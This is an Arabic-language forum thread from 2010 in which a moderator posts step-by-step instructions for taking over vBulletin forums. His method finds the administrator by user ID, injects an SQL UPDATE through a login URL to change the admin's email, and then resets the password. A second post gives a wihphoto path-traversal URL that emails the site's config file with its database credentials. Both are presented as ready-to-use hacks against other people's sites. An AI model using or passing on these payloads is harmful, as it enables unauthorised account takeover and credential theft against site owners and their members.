عاشق الحب مشرف عام
عدد المساهمات : 386 نقاط : 1692 السٌّمعَة : 0
| موضوع: شرح طريقة اختراق المنتدى الإثنين يونيو 07, 2010 3:26 am | |
| بسم الله الرحمن الرحيم السلام عليكم ورحمة الله وبركاته
شرح طريقة اختراق منتديات ( vb )
الان يمكنكم اخراق جميع منتديات vp بتلك الطريقة السهلة جدا
وهذه الطريقة هدية مني لكم
اولا : هذه الطريقة لاتصلح الا لمنتديات vb
1* قم بالتسجيل في المنتدي كعضو فيه ولكن يجب ان يكون البريد حقيقي لانك سوف تستخدمه 2* تدخل المنتدى كعضو بأسم المستخدم وكلمة السر الخاصة بك 3* أضغط على زر ( الأعضاء ) الموجود بالأعلي أو members أو العنوان التفصيلي التالي : عفوا ,,, لايمكنك مشاهده الروابط لانك غير مسجل لدينا [ للتسجيل اضغط هنا ] URL = العنوان المستضيف للمنتدى 4* أضغط على أي مستخدم من المستخدمين عشوائيا وستلاحظ ظهور عنوان طويل بالأعلي في مستطيل العناوين address bar . سيظهر لك عنوان يحمل أرقاما وأحرفا عشوائية كالشكل التالي :
عفوا ,,, لايمكنك مشاهده الروابط لانك غير مسجل لدينا [ للتسجيل اضغط هنا ]
هذا العنوان الطويل يعني = عرض بيانات المستخدم رقم 266
5* بكل بساطة غير الرقم من 266 الى الرقم واحد هكذا
عفوا ,,, لايمكنك مشاهده الروابط لانك غير مسجل لدينا [ للتسجيل اضغط هنا ]
العضو رقم واحد عادة وأفتراضيا يكون هو المدير للمنتدى administrator .
(((== ها أنت تجتاز الخطوة الأولى بنجاح وتعرف من هو المدير للموقع == ))
أحفظ أسم المدير حيث أنك ستحتاجه بالخطوة التالية
6* أكتب العنوان التالي مع تغيير المتغييرات التي ساذكرها :
http://URL/member.php?action=login&...VALIDPASS&url=');'.$use rs=$DB_site->query('update+user+set+email='YOUR@EMAIL.HERE'+ WH E RE+username='ADMIN'').' العنوان هذا ستقوم بتغيير الكلمات التالية
URL = كما ذكرنا سابقا الموقع المستضيف للمنتدى VALIDUSER = أسم المستخدم الخاص بك
VALIDPASS = كلمة السر الخاصة بك عفوا ,,, لايمكنك مشاهده الروابط لانك غير مسجل لدينا [ للتسجيل اضغط هنا ] = البريد الذي سجلت به بالمنتدى ADMIN = أسم مدير المنتدى ( الذي أكتفشته بالخطوة السابقة )
7* بعد أن تغيير جميع ما سبق وتتأكد منه تقوم بعمل أنعاش للمنتدى عدة مرات ******* . 8* ثم ترجع لصفحة المنتدى الرئيسية عفوا ,,, لايمكنك مشاهده الروابط لانك غير مسجل لدينا [ للتسجيل اضغط هنا ]
ثم حاول الدخول بأستخدام أسم المستخدم الخاص بك وأستعمال كلمة سر خاطئة ( يجب أن تكون خاطئة ) .
بالطيع ستظهر لك الصفحة التعيسة التي تقول :
أنت قمت بكتابة كلمة سر خاطئة
you typed in the wrong password
9* بكل بساطة أضغط على نسيت كلمة السر forgot password
والتي ستقوم بأرسال كلمة السر الى بريدك الألكتروني
10* أفتح بريدك وستجد كلمة السر الخاصة بمدير المنتدى
وفي النهاية تصرف كما يحلو لك انت الان داخل المنتدى
تحياتي للجميع الآعضاء
| |
|
عاشق الحب مشرف عام
عدد المساهمات : 386 نقاط : 1692 السٌّمعَة : 0
| موضوع: رد: شرح طريقة اختراق المنتدى الإثنين يونيو 07, 2010 3:28 am | |
| اخترق المنتديات بدقيقةالسلام عليكم ورحمة الله وبركاتهأسهل طريقةلاختراق المواقع بسم الله نبدءثغرة wihphoto هذه الثغرة للمواقع التي بها مركز صور اولا : نذهب إلى أي محرك بحث ومثلاً
عفوا ,,, لايمكنك مشاهده الروابط لانك غير مسجل لدينا [ للتسجيل اضغط هنا ]اكتب powered by wihphoto سيظهر لك العديد من المواقعادخل الموقع وامسحadmin.phpوضع بدله هذا الكود sendphoto.php?album=..&pic=config.inc.phpبعدها ادخل ايميلك وسوف يرسل لك رسالة على الإيميل الذي وضعتهملف الكونفق ومنه رح تلقى اسم المستخدم وكلمة مرور لقاعدة البياناتقم بالذهاب الى لوحة التحكم للموقع ولذهاب إلى لوحة التحكم اضف عليه admin قم بكتابة كلمةالمرور الموجودة في ملف الكونفق ... كذا انت دخلت لوحة التحكملمجلد الصور وتقدر تتحكم فيه ...لا تبخلو علينى بردودكم المفرحة تحياتي | |
|
القلب الحزين
عدد المساهمات : 1 نقاط : 1 السٌّمعَة : 0 المزاج : زعلان
| موضوع: رد: شرح طريقة اختراق المنتدى الخميس ديسمبر 09, 2010 10:31 am | |
| مشكوووووووووووووووووووووووووووووور | |
|